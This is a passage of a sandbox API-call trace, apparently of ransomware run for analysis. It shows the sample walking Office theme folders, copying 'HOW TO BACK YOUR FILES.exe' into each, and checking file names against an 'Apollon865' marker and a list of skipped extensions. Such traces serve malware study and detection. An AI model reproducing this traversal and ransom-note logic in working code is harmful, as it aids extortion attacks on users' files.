	[0074.896] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="SUMIPNTG.ELM" | out: lpString1="SUMIPNTG.ELM") returned="SUMIPNTG.ELM"
	[0074.897] lstrlenW (lpString="SUMIPNTG.ELM") returned 12
	[0074.897] lstrlenW (lpString="Apollon865") returned 10
	[0074.897] lstrcmpiW (lpString1="MIPNTG.ELM", lpString2="Apollon865") returned 1
	[0074.897] lstrlenW (lpString=".dll") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2=".dll") returned 1
	[0074.897] lstrlenW (lpString=".lnk") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2=".lnk") returned 1
	[0074.897] lstrlenW (lpString=".ini") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2=".ini") returned 1
	[0074.897] lstrlenW (lpString=".sys") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.ELM", lpString2=".sys") returned 1
	[0074.897] lstrlenW (lpString="SUMIPNTG.ELM") returned 12
	[0074.897] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="SUMIPNTG.INF" | out: lpString1="SUMIPNTG.INF") returned="SUMIPNTG.INF"
	[0074.897] lstrlenW (lpString="SUMIPNTG.INF") returned 12
	[0074.897] lstrlenW (lpString="Apollon865") returned 10
	[0074.897] lstrcmpiW (lpString1="MIPNTG.INF", lpString2="Apollon865") returned 1
	[0074.897] lstrlenW (lpString=".dll") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2=".dll") returned 1
	[0074.897] lstrlenW (lpString=".lnk") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2=".lnk") returned 1
	[0074.897] lstrlenW (lpString=".ini") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2=".ini") returned 1
	[0074.897] lstrlenW (lpString=".sys") returned 4
	[0074.897] lstrcmpiW (lpString1="SUMIPNTG.INF", lpString2=".sys") returned 1
	[0074.897] lstrlenW (lpString="SUMIPNTG.INF") returned 12
	[0074.897] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.897] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.897] lstrlenW (lpString="Apollon865") returned 10
	[0074.897] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.897] lstrlenW (lpString=".dll") returned 4
	[0074.897] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".dll") returned 1
	[0074.898] lstrlenW (lpString=".lnk") returned 4
	[0074.898] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".lnk") returned 1
	[0074.898] lstrlenW (lpString=".ini") returned 4
	[0074.898] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".ini") returned 1
	[0074.898] lstrlenW (lpString=".sys") returned 4
	[0074.898] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".sys") returned 1
	[0074.898] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.898] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO"
	[0074.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c04d0 | out: hHeap=0x580000) returned 1
	[0074.898] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0108 | out: hHeap=0x580000) returned 1
	[0074.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO") returned 62
	[0074.898] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO"
	[0074.898] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.898] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.903] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.903] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44b81d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44b81d50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.903] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.903] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.903] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.903] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.903] lstrlenW (lpString="Apollon865") returned 10
	[0074.903] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.903] lstrlenW (lpString=".dll") returned 4
	[0074.903] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.904] lstrlenW (lpString=".lnk") returned 4
	[0074.904] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.904] lstrlenW (lpString=".ini") returned 4
	[0074.904] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.904] lstrlenW (lpString=".sys") returned 4
	[0074.904] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.904] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.904] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="STUDIO.ELM" | out: lpString1="STUDIO.ELM") returned="STUDIO.ELM"
	[0074.904] lstrlenW (lpString="STUDIO.ELM") returned 10
	[0074.904] lstrlenW (lpString="Apollon865") returned 10
	[0074.904] lstrlenW (lpString=".dll") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.ELM", lpString2=".dll") returned 1
	[0074.904] lstrlenW (lpString=".lnk") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.ELM", lpString2=".lnk") returned 1
	[0074.904] lstrlenW (lpString=".ini") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.ELM", lpString2=".ini") returned 1
	[0074.904] lstrlenW (lpString=".sys") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.ELM", lpString2=".sys") returned 1
	[0074.904] lstrlenW (lpString="STUDIO.ELM") returned 10
	[0074.904] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="STUDIO.INF" | out: lpString1="STUDIO.INF") returned="STUDIO.INF"
	[0074.904] lstrlenW (lpString="STUDIO.INF") returned 10
	[0074.904] lstrlenW (lpString="Apollon865") returned 10
	[0074.904] lstrlenW (lpString=".dll") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.INF", lpString2=".dll") returned 1
	[0074.904] lstrlenW (lpString=".lnk") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.INF", lpString2=".lnk") returned 1
	[0074.904] lstrlenW (lpString=".ini") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.INF", lpString2=".ini") returned 1
	[0074.904] lstrlenW (lpString=".sys") returned 4
	[0074.904] lstrcmpiW (lpString1="STUDIO.INF", lpString2=".sys") returned 1
	[0074.905] lstrlenW (lpString="STUDIO.INF") returned 10
	[0074.905] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.905] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.905] lstrlenW (lpString="Apollon865") returned 10
	[0074.905] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.905] lstrlenW (lpString=".dll") returned 4
	[0074.905] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".dll") returned 1
	[0074.905] lstrlenW (lpString=".lnk") returned 4
	[0074.905] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".lnk") returned 1
	[0074.905] lstrlenW (lpString=".ini") returned 4
	[0074.905] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".ini") returned 1
	[0074.905] lstrlenW (lpString=".sys") returned 4
	[0074.905] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".sys") returned 1
	[0074.905] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.905] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE"
	[0074.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8a18 | out: hHeap=0x580000) returned 1
	[0074.905] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00e8 | out: hHeap=0x580000) returned 1
	[0074.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE") returned 64
	[0074.905] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE"
	[0074.905] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.905] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.911] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.911] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44b81d50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44b81d50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.911] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.911] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.911] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.911] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.912] lstrlenW (lpString="Apollon865") returned 10
	[0074.912] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.912] lstrlenW (lpString=".dll") returned 4
	[0074.912] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.912] lstrlenW (lpString=".lnk") returned 4
	[0074.912] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.912] lstrlenW (lpString=".ini") returned 4
	[0074.912] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.912] lstrlenW (lpString=".sys") returned 4
	[0074.912] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.912] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.912] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="STRTEDGE.ELM" | out: lpString1="STRTEDGE.ELM") returned="STRTEDGE.ELM"
	[0074.912] lstrlenW (lpString="STRTEDGE.ELM") returned 12
	[0074.912] lstrlenW (lpString="Apollon865") returned 10
	[0074.912] lstrcmpiW (lpString1="RTEDGE.ELM", lpString2="Apollon865") returned 1
	[0074.912] lstrlenW (lpString=".dll") returned 4
	[0074.912] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2=".dll") returned 1
	[0074.912] lstrlenW (lpString=".lnk") returned 4
	[0074.912] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2=".lnk") returned 1
	[0074.912] lstrlenW (lpString=".ini") returned 4
	[0074.912] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2=".ini") returned 1
	[0074.912] lstrlenW (lpString=".sys") returned 4
	[0074.912] lstrcmpiW (lpString1="STRTEDGE.ELM", lpString2=".sys") returned 1
	[0074.912] lstrlenW (lpString="STRTEDGE.ELM") returned 12
	[0074.912] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="STRTEDGE.INF" | out: lpString1="STRTEDGE.INF") returned="STRTEDGE.INF"
	[0074.913] lstrlenW (lpString="STRTEDGE.INF") returned 12
	[0074.913] lstrlenW (lpString="Apollon865") returned 10
	[0074.913] lstrcmpiW (lpString1="RTEDGE.INF", lpString2="Apollon865") returned 1
	[0074.913] lstrlenW (lpString=".dll") returned 4
	[0074.913] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2=".dll") returned 1
	[0074.913] lstrlenW (lpString=".lnk") returned 4
	[0074.913] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2=".lnk") returned 1
	[0074.913] lstrlenW (lpString=".ini") returned 4
	[0074.913] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2=".ini") returned 1
	[0074.913] lstrlenW (lpString=".sys") returned 4
	[0074.913] lstrcmpiW (lpString1="STRTEDGE.INF", lpString2=".sys") returned 1
	[0074.913] lstrlenW (lpString="STRTEDGE.INF") returned 12
	[0074.913] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.913] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.913] lstrlenW (lpString="Apollon865") returned 10
	[0074.913] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.913] lstrlenW (lpString=".dll") returned 4
	[0074.913] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".dll") returned 1
	[0074.913] lstrlenW (lpString=".lnk") returned 4
	[0074.913] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".lnk") returned 1
	[0074.913] lstrlenW (lpString=".ini") returned 4
	[0074.913] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".ini") returned 1
	[0074.913] lstrlenW (lpString=".sys") returned 4
	[0074.913] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".sys") returned 1
	[0074.913] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.913] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING"
	[0074.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0448 | out: hHeap=0x580000) returned 1
	[0074.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00c8 | out: hHeap=0x580000) returned 1
	[0074.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING") returned 62
	[0074.914] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING"
	[0074.914] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.914] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.918] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ba7eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ba7eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.918] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.918] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.918] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.918] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.918] lstrlenW (lpString="Apollon865") returned 10
	[0074.918] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.918] lstrlenW (lpString=".dll") returned 4
	[0074.918] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.918] lstrlenW (lpString=".lnk") returned 4
	[0074.918] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.918] lstrlenW (lpString=".ini") returned 4
	[0074.918] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.918] lstrlenW (lpString=".sys") returned 4
	[0074.918] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.918] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.918] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SPRING.ELM" | out: lpString1="SPRING.ELM") returned="SPRING.ELM"
	[0074.918] lstrlenW (lpString="SPRING.ELM") returned 10
	[0074.918] lstrlenW (lpString="Apollon865") returned 10
	[0074.918] lstrlenW (lpString=".dll") returned 4
	[0074.918] lstrcmpiW (lpString1="SPRING.ELM", lpString2=".dll") returned 1
	[0074.918] lstrlenW (lpString=".lnk") returned 4
	[0074.918] lstrcmpiW (lpString1="SPRING.ELM", lpString2=".lnk") returned 1
	[0074.919] lstrlenW (lpString=".ini") returned 4
	[0074.919] lstrcmpiW (lpString1="SPRING.ELM", lpString2=".ini") returned 1
	[0074.919] lstrlenW (lpString=".sys") returned 4
	[0074.919] lstrcmpiW (lpString1="SPRING.ELM", lpString2=".sys") returned 1
	[0074.919] lstrlenW (lpString="SPRING.ELM") returned 10
	[0074.919] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SPRING.INF" | out: lpString1="SPRING.INF") returned="SPRING.INF"
	[0074.919] lstrlenW (lpString="SPRING.INF") returned 10
	[0074.919] lstrlenW (lpString="Apollon865") returned 10
	[0074.919] lstrlenW (lpString=".dll") returned 4
	[0074.919] lstrcmpiW (lpString1="SPRING.INF", lpString2=".dll") returned 1
	[0074.919] lstrlenW (lpString=".lnk") returned 4
	[0074.919] lstrcmpiW (lpString1="SPRING.INF", lpString2=".lnk") returned 1
	[0074.919] lstrlenW (lpString=".ini") returned 4
	[0074.919] lstrcmpiW (lpString1="SPRING.INF", lpString2=".ini") returned 1
	[0074.919] lstrlenW (lpString=".sys") returned 4
	[0074.919] lstrcmpiW (lpString1="SPRING.INF", lpString2=".sys") returned 1
	[0074.919] lstrlenW (lpString="SPRING.INF") returned 10
	[0074.919] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.919] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.919] lstrlenW (lpString="Apollon865") returned 10
	[0074.919] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.919] lstrlenW (lpString=".dll") returned 4
	[0074.919] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".dll") returned 1
	[0074.919] lstrlenW (lpString=".lnk") returned 4
	[0074.919] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".lnk") returned 1
	[0074.919] lstrlenW (lpString=".ini") returned 4
	[0074.919] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".ini") returned 1
	[0074.919] lstrlenW (lpString=".sys") returned 4
	[0074.919] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".sys") returned 1
	[0074.919] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.920] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA"
	[0074.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c03c0 | out: hHeap=0x580000) returned 1
	[0074.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a00a8 | out: hHeap=0x580000) returned 1
	[0074.920] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA") returned 62
	[0074.920] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA"
	[0074.920] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.920] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.924] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44ba7eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44ba7eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.924] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.924] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.924] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.924] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.924] lstrlenW (lpString="Apollon865") returned 10
	[0074.924] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.924] lstrlenW (lpString=".dll") returned 4
	[0074.924] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".dll") returned 1
	[0074.924] lstrlenW (lpString=".lnk") returned 4
	[0074.924] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".lnk") returned 1
	[0074.924] lstrlenW (lpString=".ini") returned 4
	[0074.924] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".ini") returned 1
	[0074.924] lstrlenW (lpString=".sys") returned 4
	[0074.924] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".sys") returned 1
	[0074.925] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.925] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SONORA.ELM" | out: lpString1="SONORA.ELM") returned="SONORA.ELM"
	[0074.925] lstrlenW (lpString="SONORA.ELM") returned 10
	[0074.925] lstrlenW (lpString="Apollon865") returned 10
	[0074.925] lstrlenW (lpString=".dll") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.ELM", lpString2=".dll") returned 1
	[0074.925] lstrlenW (lpString=".lnk") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.ELM", lpString2=".lnk") returned 1
	[0074.925] lstrlenW (lpString=".ini") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.ELM", lpString2=".ini") returned 1
	[0074.925] lstrlenW (lpString=".sys") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.ELM", lpString2=".sys") returned 1
	[0074.925] lstrlenW (lpString="SONORA.ELM") returned 10
	[0074.925] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="SONORA.INF" | out: lpString1="SONORA.INF") returned="SONORA.INF"
	[0074.925] lstrlenW (lpString="SONORA.INF") returned 10
	[0074.925] lstrlenW (lpString="Apollon865") returned 10
	[0074.925] lstrlenW (lpString=".dll") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.INF", lpString2=".dll") returned 1
	[0074.925] lstrlenW (lpString=".lnk") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.INF", lpString2=".lnk") returned 1
	[0074.925] lstrlenW (lpString=".ini") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.INF", lpString2=".ini") returned 1
	[0074.925] lstrlenW (lpString=".sys") returned 4
	[0074.925] lstrcmpiW (lpString1="SONORA.INF", lpString2=".sys") returned 1
	[0074.925] lstrlenW (lpString="SONORA.INF") returned 10
	[0074.925] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.925] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.926] lstrlenW (lpString="Apollon865") returned 10
	[0074.926] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.926] lstrlenW (lpString=".dll") returned 4
	[0074.926] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".dll") returned 1
	[0074.926] lstrlenW (lpString=".lnk") returned 4
	[0074.926] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".lnk") returned 1
	[0074.926] lstrlenW (lpString=".ini") returned 4
	[0074.926] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".ini") returned 1
	[0074.926] lstrlenW (lpString=".sys") returned 4
	[0074.926] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".sys") returned 1
	[0074.926] lstrlenW (lpString="THMBNAIL.PNG") returned 12
